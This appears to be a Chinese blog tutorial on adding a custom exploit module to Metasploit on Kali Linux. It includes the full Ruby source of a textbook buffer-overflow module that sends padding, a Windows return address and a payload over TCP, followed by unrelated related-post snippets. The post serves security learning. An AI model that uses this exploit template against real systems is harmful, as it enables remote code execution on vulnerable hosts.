给kali的metasploit下添加一个新的exploit
首先在/usr/share/metasploit-framework/modules/exploits/目录下新建一个自定义文件夹,例如fwdtest
cp example.rb ./fwdtest/0day1.rb
根据0day安全书中例子修改0day1.rb脚本
class MetasploitModule < Msf::Exploit::RemoteRank = NormalRankinginclude Exploit::Remote::Tcpdef initialize(info = {})super(update_info(info,'Name' => 'failwest_test','Description' => %q(This exploit module illustrates how a vulnerability could be exploitedin an TCP server that has a parsing bug.),'License' => MSF_LICENSE,'Author' => ['skape'],'References' =>[[ 'OSVDB', '12345' ],[ 'EDB', '12345' ],[ 'URL', 'http://www.example.com'],[ 'CVE', '1978-1234']],'Payload' =>{'Space' => 200,'BadChars' => "\x00"},'Targets' =>[['Windows 2000',{'Platform' => 'win','Ret' => 0x77F8511a}],['Windows XP SP2',{'Platform' => 'win','Ret' => 0x7C914393}]],'DisclosureDate' => "Apr 1 2013",'DefaultTarget' => 0))enddef checkExploit::CheckCode::Vulnerableenddef exploitconnectattack_buf = 'a'*200 + [target['Ret']].pack('V') + payload.encodedsock.put(attack_buf)handlerdisconnectend
end
在控制台下启动metasploit
在msf提示符下输入reload_all重新加载所有模块
在msf提示符下输入use exploit/fwdtest/0day1 输入的时候可以用tab补全,如果不能补全说明就有问题
给kali的metasploit下添加一个新的exploit相关推荐
- linux下 添加一个新账户tom,linux 账户管理命令 useradd、groupadd使用方法
内容提要: 1. 掌握用户的 增/删/改 命令 2. 掌握组的 增/删/改 命令 组管理 1)groupadd groupadd 用于添加组账号.格式如下:groupadd [-g gid] grou ...
- Oracle11g RAC在一个节点宕掉的情况下添加一个新的节点:
目录: 1.验证新节点配置是否合规: 2.将原RAC变为单节点集群: 3.向RAC集群中添加新节点: 4.在新节点执行root.sh脚本: 5.在新节点部署Oracle软件: 6.在新节点执行root ...
- angular在IE下报object doesn't support property or method matches问题,以及router-outlet切换时不删除原组件而是添加一个新组件
angular在IE下有时会报object doesn't support property or method matches问题 同时,在router-outlet切换时,不删除原组件而是添加一个 ...
- golang mysql 插入_Mysql学习(一)添加一个新的用户并用golang操作Mysql
Mysql添加一个新的用户并赋予权限 添加一个自己的用户到mysql 首先我们需要先用root用户登录mysql,但是刚安装完没有密码,我们先跳过密码 ailumiyana@ailumiyana:~/ ...
- 如何给MindSpore添加一个新的硬件后端?快速构建测试环境!
摘要:介绍如何给MindSpore添加一个新的硬件后端. 本文分享自华为云社区<如何给MindSpore添加一个新的硬件后端?快速构建测试环境!>,原文作者:HWCloudAI. Mind ...
- Ardupilot添加一个新模式全攻略,以Copter为例
Ardupilot添加一个新MODE全攻略,以Copter为例 "切换模式"代码框架 调试方法 2.添加control_mode_t 3.写声明 4.新建.cpp文件 5.实例化m ...
- 向Hadoop集群添加一个新的节点
如何向向Hadoop集群添加一个新的节点? 1.在新节点安装好hadoop或者从其他节点复制一份 2.把namenode的有关配置文件复制到该节点 3.修改masters和slaves文件,增加该节点 ...
- 012.Adding a New Field --【添加一个新字段】
索引: 目录索引 Adding a New Field 添加一个新字段 2016-10-14 3 分钟阅读时长 作者 By Rick Anderson In this section you'll u ...
- [vue] 动态给vue的data添加一个新的属性时会发生什么?怎样解决?
[vue] 动态给vue的data添加一个新的属性时会发生什么?怎样解决? 如果在实例创建之后添加新的属性到实例上,它不会触发视图更新.如果想要使添加的值做到响应式,应当使用$set()来添加对象. ...
最新文章
- Android Studio使用教程
- 正则表达式简明使用手册
- C语言模块化编程的例子
- mysql对库授权alter_mysql 数据库授权(给某个用户授权某个数据库)
- 开启未来十年的编码技术之门
- 浅析 Linux 初始化系统(系统服务管理和控制程序/init system) -- UpStart
- #1130 - Host 'localhost' is not allowed to connect to this MySQL server
- 6.6.1最优二叉树(赫夫曼树)
- 无码系列-7-代码的语文修养_上篇
- HDU1000 HDU1089-HDU1096 A+B for Input-Output Practice (I)-(VIII)(入门必备训练)
- zoj1134 Strategic Game(DP/图论)
- 利用select 函数 实现sleep功能 达到纳米级
- python版本控制git_实验一:Git代码版本管理
- SSIS中的字符映射表转换组件
- Maven实战(高清完整带书签)
- ensp动态路由ospf配置
- 开发uni-app时HBuilderX编辑器使用微信小程序模拟器保存代码无法刷新模拟器问题
- Centos 6.x 更新内核 2.6-4.13
- PHP开发微信支付小微商户V3版本 图片上传、生成签名、平台证书获取、平台证书编号、敏感信息加密
- horizon云桌面管理功能说明